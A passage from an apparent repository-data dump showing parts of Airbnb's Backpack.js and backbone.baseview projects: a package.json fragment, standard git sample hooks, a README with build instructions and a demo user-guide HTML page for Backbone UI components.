\"@babel/plugin-proposal-nullish-coalescing-operator\": \"^7.8.3\",\n \"@babel/plugin-proposal-numeric-separator\": \"^7.8.3\",\n \"@babel/plugin-proposal-object-rest-spread\": \"^7.9.0\",\n \"@babel/plugin-proposal-optional-catch-binding\": \"^7.8.3\",\n \"@babel/plugin-proposal-optional-chaining\": \"^7.9.0\",\n \"@babel/plugin-transform-classes\": \"^7.9.2\",\n \"@babel/plugin-transform-exponentiation-operator\": \"^7.8.3\",\n \"@babel/plugin-transform-member-expression-literals\": \"^7.8.3\",\n \"@babel/plugin-transform-property-literals\": \"^7.8.3\",\n \"@babel/plugin-transform-property-mutators\": \"^7.8.3\",\n \"@babel/plugin-transform-runtime\": \"^7.9.0\",\n \"@babel/plugin-transform-template-literals\": \"^7.8.3\",\n \"@babel/preset-env\": \"^7.9.0\",\n \"@babel/preset-react\": \"^7.9.4\",\n \"babel-plugin-transform-react-remove-prop-types\": \"^0.4.24\"\n },\n \"peerDependencies\": {\n \"@babel/core\": \"^7.0.0\",\n \"@babel/runtime\": \"^7.0.0\"\n },\n \"devDependencies\": {\n \"@babel/core\": \"^7.0.0\",\n \"@babel/runtime\": \"^7.0.0\",\n \"eslint\": \"^5.16.0\",\n \"eslint-config-airbnb-base\": \"^13.1.0\",\n \"eslint-plugin-import\": \"^2.17.3\",\n \"safe-publish-latest\": \"^1.1.2\"\n },\n \"scripts\": {\n \"prepublish\": \"safe-publish-latest\",\n \"pretest\": \"npm run lint\",\n \"test\": \"npm run tests-only\",\n \"tests-only\": \"node . && echo 'parsed successfully'\",\n \"lint\": \"eslint .\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
backbone.baseview | {"type": "directory", "name": "backbone.baseview", "children": [{"type": "file", "name": "backbone.baseview.js"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "README.md"}]} | backbone.baseview
=================
A simple base view class for Backbone.View, | {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
backpack | {"type": "directory", "name": "backpack", "children": [{"type": "file", "name": ".npmignore"}, {"type": "directory", "name": "assets", "children": [{"type": "directory", "name": "css", "children": [{"type": "file", "name": "docs.css"}, {"type": "file", "name": "prettify.css"}]}, {"type": "directory", "name": "img", "children": [{"type": "directory", "name": "swipe", "children": []}]}, {"type": "directory", "name": "js", "children": [{"type": "file", "name": "lang-apollo.js"}, {"type": "file", "name": "lang-clj.js"}, {"type": "file", "name": "lang-css.js"}, {"type": "file", "name": "lang-go.js"}, {"type": "file", "name": "lang-hs.js"}, {"type": "file", "name": "lang-lisp.js"}, {"type": "file", "name": "lang-lua.js"}, {"type": "file", "name": "lang-ml.js"}, {"type": "file", "name": "lang-n.js"}, {"type": "file", "name": "lang-proto.js"}, {"type": "file", "name": "lang-scala.js"}, {"type": "file", "name": "lang-sql.js"}, {"type": "file", "name": "lang-tex.js"}, {"type": "file", "name": "lang-vb.js"}, {"type": "file", "name": "lang-vhdl.js"}, {"type": "file", "name": "lang-wiki.js"}, {"type": "file", "name": "lang-xq.js"}, {"type": "file", "name": "lang-yaml.js"}, {"type": "file", "name": "prettify.js"}]}]}, {"type": "file", "name": "CAKEFILE"}, {"type": "directory", "name": "docs", "children": [{"type": "file", "name": "Backpack.Component.html"}, {"type": "file", "name": "Backpack.Dialog.html"}, {"type": "file", "name": "Backpack.html"}, {"type": "file", "name": "Backpack.Menu.html"}, {"type": "file", "name": "Backpack.Modal.html"}, {"type": "file", "name": "Backpack.Tabs.html"}, {"type": "file", "name": "docco.css"}]}, {"type": "directory", "name": "example", "children": [{"type": "file", "name": "index.html"}]}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}, {"type": "directory", "name": "lib", "children": [{"type": "file", "name": "Backpack-bundle.js"}, {"type": "file", "name": "Backpack-bundle.min.js"}, {"type": "directory", "name": "css", "children": [{"type": "file", "name": "Backpack-bare.css"}, {"type": "file", "name": "Backpack.css"}]}, {"type": "directory", "name": "js", "children": [{"type": "file", "name": "Backpack.Component.js"}, {"type": "file", "name": "Backpack.js"}, {"type": "file", "name": "Backpack.Layout.js"}, {"type": "file", "name": "Backpack.Menu.js"}, {"type": "file", "name": "Backpack.Modal.js"}, {"type": "file", "name": "Backpack.Swipe.js"}, {"type": "file", "name": "Backpack.Tabs.js"}]}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "spec", "children": [{"type": "file", "name": "BackpackSpec-bundle.js"}, {"type": "file", "name": "SpecRunner.html"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "BackpackSpec.coffee"}, {"type": "file", "name": "ComponentSpec.coffee"}, {"type": "file", "name": "DependenciesSpec.coffee"}, {"type": "file", "name": "LayoutSpec.coffee"}, {"type": "file", "name": "MenuSpec.coffee"}, {"type": "file", "name": "ModalSpec.coffee"}, {"type": "file", "name": "OverlaySpec.coffee"}]}]}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "Backpack.coffee"}, {"type": "file", "name": "Backpack.Component.coffee"}, {"type": "file", "name": "Backpack.Layout.coffee"}, {"type": "file", "name": "Backpack.Menu.coffee"}, {"type": "file", "name": "Backpack.Modal.coffee"}, {"type": "file", "name": "Backpack.Swipe.coffee"}, {"type": "file", "name": "Backpack.Tabs.coffee"}]}, {"type": "directory", "name": "vendor", "children": [{"type": "file", "name": "backbone.js"}, {"type": "directory", "name": "jasmine", "children": [{"type": "file", "name": "jasmine-html.js"}, {"type": "file", "name": "jasmine.css"}, {"type": "file", "name": "jasmine.js"}, {"type": "file", "name": "MIT.LICENSE"}]}, {"type": "file", "name": "jasmine-sinon.js"}, {"type": "file", "name": "jquery.js"}, {"type": "directory", "name": "sinon", "children": [{"type": "file", "name": "assert.js"}, {"type": "file", "name": "collection.js"}, {"type": "file", "name": "mock.js"}, {"type": "file", "name": "sandbox.js"}, {"type": "file", "name": "spy.js"}, {"type": "file", "name": "stub.js"}, {"type": "file", "name": "test.js"}, {"type": "file", "name": "test_case.js"}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "event.js"}, {"type": "file", "name": "fake_server.js"}, {"type": "file", "name": "fake_server_with_clock.js"}, {"type": "file", "name": "fake_timers.js"}, {"type": "file", "name": "fake_xml_http_request.js"}, {"type": "file", "name": "timers_ie.js"}, {"type": "file", "name": "xhr_ie.js"}]}]}, {"type": "file", "name": "sinon.js"}, {"type": "file", "name": "swipe.js"}, {"type": "file", "name": "underscore.js"}, {"type": "file", "name": "zepto.js"}]}]} | ## This project is deprecated and no longer being maintained.
______ _ _ _ |
| ___ \ | | | | (_) | A pack of UI components for Backbone projects.
| |_/ / __ _ ___| | ___ __ __ _ ___| | __ _ ___ | Grab your backpack and enjoy the Views.
| ___ \/ _` |/ __| |/ / '_ \ / _` |/ __| |/ / | / __| |
| |_/ / (_| | (__| <| |_) | (_| | (__| < _| \__ \ |
\____/ \__,_|\___|_|\_\ .__/ \__,_|\___|_|\_(_) |___/ |
| | _/ | |
|_| |__/ |
### Visit the [Backpack.js User Guide](http://airbnb.github.io/backpack/)
## Quick Start
1. `git clone [email protected]:airbnb/backpack.js.git`
1. `cd backpack.js && open example/index.html`
----------------------------
## Hack on Backpack
### Quick Start
1. `git clone [email protected]:airbnb/backpack.js.git`
1. `cd backpack.js && npm install`
### Cake Build Tools
The Cakefile defines the following tasks:
cake compile # Compile CoffeeScript source files
cake build # Creates /lib_path/Backpack-bundle.js & /lib_path/Backpack-bundle.min.js & /lib_path/js/*.js
cake test # Opens Jasmine SpecRunner. Watches BackpackSpec-Bundle.js for changes
cake docs # Generate annotated source code with Docco
cake watch # Recompile CoffeeScript source files when modified to Backpack-bundle.js
cake watch:js # Recompile CoffeeScript source files when modified to individual .js files
### Testing
Backpack.js tests are written using [jasmine](http://pivotal.github.com/jasmine/) with [sinon.js](https://github.com/cjohansen/Sinon.JS) and [jasmine-sinon](https://github.com/froots/jasmine-sinon).
You can run the test suite with `cake test`.
| {"index.html": "<!DOCTYPE HTML>\n<html lang=\"en-us\">\n <head>\n <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\">\n <title>Backpack.js User Guide</title>\n <link rel=\"stylesheet\" href=\"./lib/css/Backpack.css\" type=\"text/css\" media=\"screen\">\n <link rel=\"stylesheet\" href=\"./assets/css/docs.css\" type=\"text/css\" media=\"screen\">\n <link rel=\"stylesheet\" href=\"./assets/css/prettify.css\" type=\"text/css\" media=\"screen\">\n\n <!-- Satisfy the IE Gods -->\n <!--[if gte IE 9]>\n <style type=\"text/css\"> .gradient { filter: none; } </style>\n <![endif]-->\n\n <!-- TypeKit -->\n <script type=\"text/javascript\" src=\"http://use.typekit.com/khy0ojp.js\"></script>\n <script type=\"text/javascript\">try{Typekit.load();}catch(e){}</script>\n </head>\n <body class='backpack tk-proxima-nova-alt'>\n\n <aside id='sidebar'>\n <a href='#' class='logo'><img src='./assets/img/backpack-icon.png' height='70' /></a>\n </aside>\n\n <section id='guideContainer'>\n <section id='guide'>\n <section id='header'>\n <h1 class='big-h1 w310'>Backpack.js</h1>\n <h2 class='big-h2 w310'>Grab your backpack and enjoy the Views</h2>\n <h3 class='big-h3 w310'>Backpack.js is a lightweight Backbone extension for composing and structuring UI components</h3>\n <!-- <div class='github-social w310'>\n <iframe src=\"http://ghbtns.com/github-btn.html?user=airbnb&repo=backpack&type=watch&count=true\"\n allowtransparency=\"true\" frameborder=\"0\" scrolling=\"0\"\n width=\"90px\" height=\"30px\"></iframe>\n <iframe src=\"http://ghbtns.com/github-btn.html?user=airbnb&repo=backpack&type=fork&count=true\"\n allowtransparency=\"true\" frameborder=\"0\" scrolling=\"0\"\n width=\"90px\" height=\"30px\"></iframe>\n <iframe src=\"http://ghbtns.com/github-btn.html?user=airbnb&repo=backpack&type=follow\"\n allowtransparency=\"true\" frameborder=\"0\" scrolling=\"0\"\n width=\"111px\" height=\"30px\"></iframe>\n <iframe allowtransparency=\"true\" frameborder=\"0\" scrolling=\"no\"\n src=\"//platform.twitter.com/widgets/tweet_button.html?url=https://git.io/backpackjs&counturl=https://airbnb.github.com/backpack&text=Check out Backpack.js, lightweight Backbone extension for UI components&via=airbnb\"\n style=\"width:90px; height:20px;\"></iframe>\n <a href=\"https://twitter.com/backpackjs\" class=\"twitter-follow-button\"\n data-show-count=\"false\">Follow @backpackjs</a>\n <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=\"//platform.twitter.com/widgets.js\";fjs.parentNode.insertBefore(js,fjs);}}(document,\"script\",\"twitter-wjs\");</script>\n </div> -->\n </section>\n\n <section class='bottom-60 clearfix'>\n <a href='https://github.com/airbnb/backpack/zipball/master'\n class='download button round tk-proxima-nova-alt-ext-cond\n orange'>\n Download Backpack.js\n </a>\n <a href='https://github.com/airbnb/backpack'\n class='fork button round tk-proxima-nova-alt-ext-cond\n'>\n Fork on Github\n </a>\n </section>\n\n <section class='bottom-60'>\n <a id='Introduction'>\n <h3 class='title-h3'>Introduction</h3>\n </a>\n <p>\n Backpack.js is a lightweight Backbone extension for composing and\n structuring UI components, and was built by a couple\n of <a href='http://www.airbnb.com/jobs'>Airbnb Engineers</a>.\n </p>\n <p>\n Backpack's focus is to be a helper for storing and structuring\n decoupled, extensible UI components. Think of it as a roll-your-own\n YUI or jQuery UI, with components built with Backbone.Views. It's a\n micro-library that you build on as you go.\n </p>\n <p>\n Your Backpack will come with some common UI components that you can\n easily extend. As you build out your app, you'll start throwing\n more components in your backpack. Then you just pull out the components\n you need when you need them.\n </p>\n <p>\n This initial release is the result of our work abstracting\n components that we built for the Airbnb mobile site.\n We would like to open this initial release to the\n community to hear your thoughts and welcome\n contributions and ideas for its future.\n </p>\n </section>\n\n <section class='bottom-60'>\n <a id='Overview'>\n <h3 class='title-h3'>Overview</h3>\n </a>\n\n <!--\n =======================================\n Backpack\n =======================================\n -->\n <section class='component description clearfix'>\n <a id='BP'>\n <h4 class='title-h4'>Backpack</h4>\n </a>\n <p>\n Backpack is the global namespace everything gets attached too.\n Backpack also comes equiped with a ham radio. It extends Backbone.Events,\n so you have a global dispatcher/observer at your disposal.\n </p>\n\n </section>\n\n\n <!--\n =======================================\n Backpack.Component\n =======================================\n -->\n <section class='component description clearfix'>\n <a id='Component'>\n <h4 class='title-h4'>Backpack.Component</h4>\n </a>\n <p>\n Component is the base View which all Backpack.js components\n extend. It provides convenient helper methods for manipulating\n the component and it\u2019s content, many of which follow a syntax\n similar to jQuery in that methods can be chained, or\n alternatively can be passed in upon initialization of the\n component.\n </p>\n <p>\n Component provides the following convenience methods to\n all components:\n </p>\n\n <ul>\n <li><pre>render</pre></li>\n <li><pre>show</pre></li>\n <li><pre>hide</pre></li>\n <li><pre>close</pre></li>\n <li><pre>remove</pre></li>\n <li><pre>before</pre></li>\n <li><pre>after</pre></li>\n <li><pre>append</pre></li>\n <li><pre>prepend</pre></li>\n <li><pre>content</pre></li>\n <li><pre>setContent</pre></li>\n <li><pre>parent</pre></li>\n <li><pre>addClass</pre></li>\n <li><pre>removeClass</pre></li>\n <li><pre>css</pre></li>\n <li><pre>name</pre></li>\n <li><pre>slug</pre></li>\n </ul>\n\n <!-- <table>\n <thead class='chrome'>\n <td>Method</td>\n <td>Options</td>\n <td>Defaults</td>\n <td>Description</td>\n </thead>\n <tr>\n <td><pre>render</pre></td>\n <td>true | false</td>\n <td>true</td>\n <td></td>\n </tr>\n\n <tr>\n <td><pre>show</pre></td>\n <td>true | false</td>\n <td>true</td>\n <td></td>\n </tr>\n\n <tr>\n <td><pre>hide</pre></td>\n <td>true | false</td>\n <td>false</td>\n <td></td>\n </tr>\n\n <tr>\n <td><pre>close</pre></td>\n <td>true | false</td>\n <td>false</td>\n <td></td>\n </tr>\n\n <tr>\n <td><pre>remove</pre></td>\n <td>true | false</td>\n <td>false</td>\n <td></td>\n </tr>\n\n <tr>\n <td><pre>before</pre></td>\n <td>string | View</td>\n <td><em>noop</em></td>\n <td><strong>@returns</strong> <em>this</em></td>\n </tr>\n\n <tr>\n <td><pre>after</pre></td>\n <td>string | View</td>\n <td><em>noop</em></td>\n <td><strong>@returns</strong> <em>this</em></td>\n </tr>\n\n <tr>\n <td><pre>append</pre></td>\n <td>string | View</td>\n <td><em>noop</em></td>\n <td><strong>@returns</strong> <em>this</em></td>\n </tr>\n\n <tr>\n <td><pre>prepend</pre></td>\n <td>string | View</td>\n <td><em>noop</em></td>\n <td><strong>@returns</strong> <em>this</em></td>\n </tr>\n\n <tr>\n <td><pre>content</pre></td>\n <td>string | View</td>\n <td><em>noop</em></td>\n <td><strong>@returns</strong> <em>this</em></td>\n </tr>\n\n <tr>\n <td><pre>setContent</pre></td>\n <td>string | View</td>\n <td><em>noop</em></td>\n <td></td>\n </tr>\n\n <tr>\n <td><pre>parent</pre></td>\n <td>selector</td>\n <td><em>'body'</em></td>\n <td><strong>@returns</strong> <em>this</em></td>\n </tr>\n\n <tr>\n <td><pre>addClass</pre></td>\n <td>string</td>\n <td><em>noop</em></td>\n <td><strong>@returns</strong> <em>this</em></td>\n </tr>\n\n <tr>\n <td><pre>removeClass</pre></td>\n <td>string</td>\n <td><em>noop</em></td>\n <td><strong>@returns</strong> <em>this</em></td>\n </tr>\n\n <tr>\n <td><pre>name</pre></td>\n <td>string</td>\n <td><em>noop</em></td>\n <td><strong>@returns</strong> <em>this</em></td>\n </tr>\n\n <tr>\n <td><pre>slug</pre></td>\n <td>string | html | View</td>\n <td><em>noop</em></td>\n <td>Replaces spaces with dashes<br/> <strong>@returns</strong> {string}</td>\n </tr>\n </table> -->\n\n </section>\n\n <!--\n =======================================\n Backpack.Tabs\n =======================================\n -->\n <section class='tabs description clearfix'>\n <a id='Tabs'>\n <h4 class='title-h4'>Backpack.Tabs</h4>\n </a>\n <p>\n Tabs are a grouping of TabItems, responsible for automatically\n displaying the content associated with any given tab. Clicking\n on a TabItem automatically displays the content, and can also\n be extended to execute any number of given arbitrary functions.\n </p>\n\n <div class='code tab-code'></div>\n\n <div class='tab hide'>\n <pre class=\"prettyprint linenums\">\nvar tabs = new Backpack.Tabs({\n add: [{\n content: 'Tab 1',\n tabContent: 'Some tab 1 content'\n },{\n content: 'Tab 2',\n tabContent: 'Some tab 2 content'\n }]\n});</pre>\n </div>\n <div class='tab2 hide'>\n <pre class=\"prettyprint linenums\">\nvar tabs = new Backpack.Tabs({});\n\ntabs.add({\n content: 'Tab 1',\n tabContent: 'Some tab 1 content'\n});\n\ntabs.add({\n content: 'Tab 2',\n tabContent: 'Some tab 2 content'\n});\n\ntabs.add({\n content: 'Tab 3',\n tabContent: 'Some tab 3 content'\n },{\n content: 'Tab 4',\n tabContent: 'Some tab 4 content'\n});</pre>\n </div>\n </section>\n\n <!--\n =======================================\n Backpack.Menu\n =======================================\n -->\n <section class='menu description clearfix'>\n <a id='Menu'>\n <h4 class='title-h4'>Backpack.Menu</h4>\n </a>\n <p>\n Menu is a means of displaying many MenuItem objects. A MenuItem\n can consist of text, or any amount of arbitrary HTML (images,\n for example). When clicked, a MenuItem is capable of redirecting\n a user to a simple URL or executing any arbitrary function.\n </p>\n\n <div class='code menu-code'></div>\n\n <div class='simple hide'>\n <pre class=\"prettyprint linenums\">\nvar menu = new Backpack.Menu({\n parent: this,\n add: [{\n content: 'Menu Item 1',\n events: '#Menu'\n },{\n content: 'Airbnb',\n events: 'http://airbnb.com'\n },{\n content: 'Menu Item 2',\n events: function() {\n return console.log('test');\n }\n },{\n content: 'Menu Item 3',\n events: {\n 'click':\n function() {\n console.log('click');\n },\n\n 'mouseenter':\n function() {\n console.log('mouseenter');\n }\n }\n }]\n});</pre>\n <button class='round tk-proxima-nova-alt-ext-cond orange'\n onclick=\"javascript:eval(new Backpack.Modal({\n content: new Backpack.Menu({\n parent: this,\n add: [{\n content: 'Menu Item 1',\n events: '#Menu'\n },{\n content: 'Airbnb',\n events: 'http://airbnb.com',\n css: {\n 'float': 'right'\n }\n },{\n content: 'Menu Item 2',\n events: function() {\n return console.log('test');\n }\n },{\n content: 'Menu Item 3',\n events: {\n 'mouseenter': function() {\n console.log('mouseenter');\n },'click': function() {\n console.log('click');\n }\n }\n }]\n }),\n color: 'rgba(0,0,0,0.7)',\n lockOverlay: false,\n closable: true,\n css: {\n 'background-color': '#eee',\n 'border': 'none',\n 'box-shadow': 'none',\n 'width': '960px',\n 'padding': '20px 40px 40px'\n },\n title: 'Simple Menu'\n }))\">Run</button>\n </div>\n\n <div class='press hide'>\n <pre class=\"prettyprint linenums\">\nvar menu = new Backpack.Menu({\n parent: this,\n addClass: 'press',\n add: [{\n content: 'Menu Item 1',\n events: '#Menu'\n },{\n content: 'Airbnb',\n events: 'http://airbnb.com'\n },{\n content: 'Menu Item 2',\n events: function() {\n return console.log('test');\n }\n },{\n content: 'Menu Item 3',\n events: {\n 'click':\n function() {\n console.log('click');\n },\n\n 'mouseenter':\n function() {\n console.log('mouseenter');\n }\n }\n }]\n});</pre>\n <button class='round tk-proxima-nova-alt-ext-cond orange'\n onclick=\"javascript:eval(new Backpack.Modal({\n content: new Backpack.Menu({\n parent: this,\n addClass: 'press',\n add:\n [\n {\n content: 'Menu Item 1',\n events: '#Menu'\n },\n {\n content: 'Menu Item 2',\n events: function() {\n return console.log('test');\n }\n },\n {\n content: 'Menu Item 3',\n events: {\n 'mouseenter': function() {\n console.log('mouseenter');},\n 'click': function() {\n console.log('click');}\n }\n },\n ]\n }),\n color: 'rgba(0,0,0,0.7)',\n lockOverlay: false,\n closable: true,\n css: {\n 'background-color': '#eee',\n 'border': 'none',\n 'box-shadow': 'none',\n 'width': '960px',\n 'padding': '20px 40px 40px'\n },\n title: 'Menu with Press Class'\n }))\">Run</button>\n </div>\n\n <div class='list hide'>\n <pre class=\"prettyprint linenums\">\nvar menu = new Backpack.Menu({\n parent: this,\n addClass: 'backpack-list',\n add: [{\n content: 'Menu Item 1',\n events: '#Menu'\n },{\n content: 'Airbnb',\n events: 'http://airbnb.com'\n },{\n content: 'Menu Item 2',\n events: function() {\n return console.log('test');\n }\n },{\n content: 'Menu Item 3',\n events: {\n 'click':\n function() {\n console.log('click');\n },\n\n 'mouseenter':\n function() {\n console.log('mouseenter');\n }\n }\n }]\n});</pre>\n <button class='round tk-proxima-nova-alt-ext-cond orange'\n onclick=\"javascript:eval(new Backpack.Modal({\n content: new Backpack.Menu({\n parent: this,\n addClass: 'backpack-list',\n add:\n [\n {\n content: 'Menu Item 1',\n // events can be something like this on click\n events: '#Menu'\n },\n {\n content: 'Menu Item 2',\n // events can also be a function on click\n events: function() {\n return console.log('test');\n }\n },\n {\n content: 'Menu Item 3',\n // or events can be a normal\n // events hash\n events: {\n 'mouseenter': function() {\n console.log('mouseenter');},\n 'click': function() {\n console.log('click');}\n }\n },\n ]\n }),\n color: 'rgba(0,0,0,0.7)',\n lockOverlay: false,\n closable: true,\n title: 'List Style Menu'\n }))\">Run</button>\n </div>\n </section>\n\n <!--\n =======================================\n Backpack.Modal\n =======================================\n -->\n <section class='modal description clearfix'>\n <a id='Modal'>\n <h4 class='title-h4'>Backpack.Modal</h4>\n </a>\n <p>\n Depending on the properties a Modal object is initialized with,\n they can be easily configured to provide two different\n experiences - Popups are notifications presented in the center\n of a user\u2019s screen, and Lightboxes are notifications presented\n in a similar manner, with the exception that the background\n content becomes dim, drawing attention to the middle Modal.\n </p>\n\n <div class='code modal-code'></div>\n\n <div class='popup hide'>\n <pre class=\"prettyprint linenums\">\nvar popup = new Backpack.Modal({\n content: 'This is a simple popup modal.',\n addClass: 'padding-20',\n title: 'Simple Popup Modal'\n});</pre>\n <button class='round tk-proxima-nova-alt-ext-cond orange'\n onclick=\"javascript:eval(new Backpack.Modal({\n content: 'This is a simple popup modal.<br/><br/>It just pops up and gets in the way.',\n addClass: 'padding-20',\n title: 'Simple Popup Modal'\n }))\">Run</button>\n </div>\n\n\n <div class='lightbox hide'>\n <pre class=\"prettyprint linenums\">\nvar lightbox = new Backpack.Modal({\n content: 'This Modal is a bit fancier.',\n addClass: 'padding-20',\n color: 'rgba(0,0,0,0.7)',\n closable: true,\n lockOverlay: true,\n title: 'Lightbox Modal'\n});</pre>\n <button class='round tk-proxima-nova-alt-ext-cond orange'\n onclick=\"javascript:eval(new Backpack.Modal({\n content: 'This Modal is a bit fancier.<br/><br/>It has a classy overlay in the background. This says, hey look at me, I am a Modal.<br/><br/>Sometimes that is just want you need.',\n color: 'rgba(0,0,0,0.7)',\n lockOverlay: true,\n closable: true,\n addClass: 'padding-20',\n title: 'Lightbox Modal'\n }))\">Run</button>\n </div>\n </section>\n\n <!--\n =======================================\n Backpack.Layout\n =======================================\n -->\n <section class='layout description clearfix'>\n <a id='Layout'>\n <h4 class='title-h4'>Backpack.Layout</h4>\n </a>\n <p>\n Layout is a simple grid helper for component placement.\n Set the number of columns and gutter size and Layout\n will figure out the sizing of everything. No need to\n worry about class names or calculating widths.\n </p>\n\n <div class='code layout-code'></div>\n\n <div class='basic hide'>\n <pre class='prettyprint linenums'>\nvar testComponent = new Backpack.Component({\n name: 'test component',\n css: {\n 'background-color': 'lightgrey',\n 'padding': '20px'\n }\n });\n\nvar basic = new Backpack.Layout({\n add: [{\n content: testComponent\n },{\n content: testComponent\n },{\n content: testComponent\n }]\n});</pre>\n <button class='round tk-proxima-nova-alt-ext-cond orange'\n onclick=\"javascript:eval(new Backpack.Modal({\n content: new Backpack.Layout({\n parent: $(this).parent(),\n add: [{\n content: new Backpack.Component({\n name: 'test component',\n css: {\n 'background-color': 'lightgrey',\n 'padding': '20px'\n }\n })\n },{\n content: new Backpack.Component({\n css: {\n 'background-color': 'lightgrey',\n 'padding': '20px'\n }\n })\n },{\n content: new Backpack.Component({\n css: {\n 'background-color': 'lightgrey',\n 'padding': '20px'\n }\n })\n }]\n }),\n color: 'rgba(0,0,0,0.7)',\n lockOverlay: false,\n closable: true,\n addClass: 'padding-20',\n title: '3-columns'\n }))\">Run</button>\n\n </div>\n\n </section>\n\n\n <section class='bottom-60'>\n <a id='Make'>\n <h3 class='title-h3'>Swipe.js Example Component</h3>\n </a>\n <p>\n It's easy to create components from existing libraries. Here's\n an example of how to create a Backpack component out of the Swipe.js library.\n </p>\n\n <div class='swipe-code'></div>\n\n <div class='gallery hide'>\n <pre class='prettyprint linenums'>\nwindow.mySwipe = new Backpack.Swipe({\n parent: '.swipe-gallery',\n content: [\"<img src='assets/img/swipe/1.jpg'>\",\n \"<img src='assets/img/swipe/2.jpg'>\",\n \"<img src='assets/img/swipe/3.jpg'>\",\n \"<img src='assets/img/swipe/4.jpg'>\",\n \"<img src='assets/img/swipe/5.jpg'>\"],\n speed: 400,\n continuous: true,\n disableScroll: false,\n callback: function(index, elem) {},\n transitionEnd: function(index, elem) {}\n});</pre>\n</div>\n\n <div class='swipe hide'>\n <pre class='prettyprint linenums'>\nclass Backpack.Swipe extends Backpack.Component\n\n id: 'slider'\n\n config:\n 'type': 'swipe'\n 'renderType': 'append'\n 'startSlide': 0\n 'speed': 300\n 'auto': 4000\n 'continuous': true\n 'disableScroll': false\n 'callback': ->\n 'transitionEnd': ->\n\n initialize: ->\n super()\n # being lazy and attaching it to window for now\n window.s = new window.Swipe(@el, @options)\n\n content: (slides) =>\n for content in arguments\n @$el.append(content)\n @</pre>\n </div>\n <div class='swipe-gallery'></div>\n <div style='text-align:center;padding-top:20px;'>\n\n <button class='round tk-proxima-nova-alt-ext-cond' onclick='s.prev()'>prev</button>\n <button class='round tk-proxima-nova-alt-ext-cond orange' onclick='s.next()'>next</button>\n\n </div>\n\n </section>\n\n\n <section class='bottom-60'>\n <a id='Contribute'>\n <h3 class='title-h3'>Hack on Backpack</h3>\n </a>\n <p>\n Backpack.js is still in it's early-days. We\u2019re open-sourcing our\n progress thus far with the hope to continue to build Backpack.js\n with the help of the Backbone community.\n </p>\n <div class='code'>\n <br/>\n <a id='Started'>\n <p>Getting Started</p>\n </a>\n <pre class='prettyprint linenums'>\ngit clone [email protected]:airbnb/backpack.js.git\ncd backpack.js && npm install</pre>\n\n <br/><br/>\n\n <a id='Cake'>\n <p>Cake Build Tools</p>\n </a>\n <pre class='prettyprint'>\ncake compile # Compile CoffeeScript source files\n\ncake build # Creates /lib_path/Backpack-bundle.js &\n # /lib_path/Backpack-bundle.min.js &\n # /lib_path/js/*.js\n\ncake test # Opens Jasmine SpecRunner. Watches\n # BackpackSpec-Bundle.js for changes\n\ncake docs # Generate annotated source code\n # with Docco\n\ncake watch # Recompile CoffeeScript source files when\n # modified to Backpack-bundle.js\n\ncake watch:js # Recompile CoffeeScript source files when\n # modified to individual .js files</pre>\n\n <br/><br/>\n\n <a id='Test'>\n <p>Testing</p>\n </a>\n\n <div>\n Backpack.js tests are written using <a href=''>jasmine</a> with <a href=''>sinon.js</a> and <a href=''>jasmine-sinon</a>.\n </div>\n\n <br/>\n\n <div>\n You can run the test suite with <pre class='inline'>cake test</pre>.\n </div>\n\n </div>\n </section>\n\n <footer>\n <p>\n Backpack.js was born at <a href='http://airbnb.com/jobs'>Airbnb HQ\n </a> in sunny San Francisco, CA\n </p>\n <p>\n With A Lovely Backpack Logo Design by\n <a href='http://www.dannyprew.com/'>Danny Prew</a>\n </p>\n <p>\n Here's Backpack's\n <a href='https://github.com/airbnb/backpack/blob/master/LICENSE'>\n Apache 2.0 License</a>\n </p>\n <br/>\n <br/>\n <a href='http://nerds.airbnb.com'>\n <img src='http://a1.muscache.com/s/1318028912/images/logos/106x40.png' />\n </a>\n </footer>\n\n </section>\n </section>\n\n\n <script src=\"./assets/js/prettify.js\" type=\"text/javascript\"></script>\n <script src=\"./vendor/jquery.js\" type=\"text/javascript\"></script>\n <script src=\"./vendor/underscore.js\" type=\"text/javascript\"></script>\n <script src=\"./vendor/backbone.js\" type=\"text/javascript\"></script>\n <script src=\"./vendor/swipe.js\" type=\"text/javascript\"></script>\n <script 